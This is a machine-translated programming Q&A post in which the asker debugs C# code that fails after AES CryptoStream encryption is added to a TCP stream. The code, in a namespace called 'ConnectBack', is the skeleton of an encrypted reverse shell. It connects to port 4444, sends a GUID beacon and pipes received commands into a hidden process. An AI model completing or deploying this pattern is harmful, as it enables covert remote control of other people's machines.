C# streamwriter在添加cryptostream C后继续分配流#

C# streamwriter在添加cryptostream C后继续分配流#,c#,C#,在添加cryptostream之前,它工作正常,但在添加cryptostream之后,streamreader不工作 namespace ConnectBack { public class Program { static byte[] IV = IV; static byte[] Key = KEY ; static StreamWriter streamWriter; public static void

在添加cryptostream之前,它工作正常,但在添加cryptostream之后,streamreader不工作

namespace ConnectBack
{
    public class Program
    {

        static byte[] IV = IV;
        static byte[] Key = KEY ;
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = Key;
                aesAlg.IV = IV;
                ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
                try
                {
                    using (TcpClient client = new TcpClient("127.0.0.1", 4444))
                    {
                        using (Stream stream = client.GetStream())
                        using (CryptoStream csDecrypt = new CryptoStream(stream, decryptor, CryptoStreamMode.Read))
                        using (CryptoStream csEncrypt = new CryptoStream(stream, encryptor, CryptoStreamMode.Write))
                        {
                            using (StreamReader rdr = new StreamReader(csDecrypt))
                            {
                                streamWriter = new StreamWriter(csEncrypt);

                                StringBuilder strInput = new StringBuilder();

                                Process p = new Process();
                                p.StartInfo.FileName = "sort.exe";
                                p.StartInfo.CreateNoWindow = true;
                                p.StartInfo.UseShellExecute = false;
                                p.StartInfo.RedirectStandardOutput = true;
                                p.StartInfo.RedirectStandardInput = true;
                                p.StartInfo.RedirectStandardError = true;
                                p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                                p.Start();
                                p.BeginOutputReadLine();
                                Guid ID = Guid.NewGuid();
                                streamWriter.WriteLine(ID + "|linux");
                                streamWriter.Flush();
                                csEncrypt.FlushFinalBlock();
                                while (true)
                                {
                                    strInput.Append(rdr.ReadToEnd());
                                    //strInput.Append("\n");
                                    p.StandardInput.WriteLine(strInput);
                                    strInput.Remove(0, strInput.Length);
                                }
                            }
                       
我在问,我是否可以在相同的初始流下工作,并毫无问题地使用流阅读器?
我已经阅读了文档,但can us esame流似乎出现了异常

?请更新您的问题并包括堆栈跟踪。对“不工作”的描述并不能让我们对您的问题有更多的了解。什么代码在工作?您添加了什么代码使其无法工作?这里不工作意味着什么?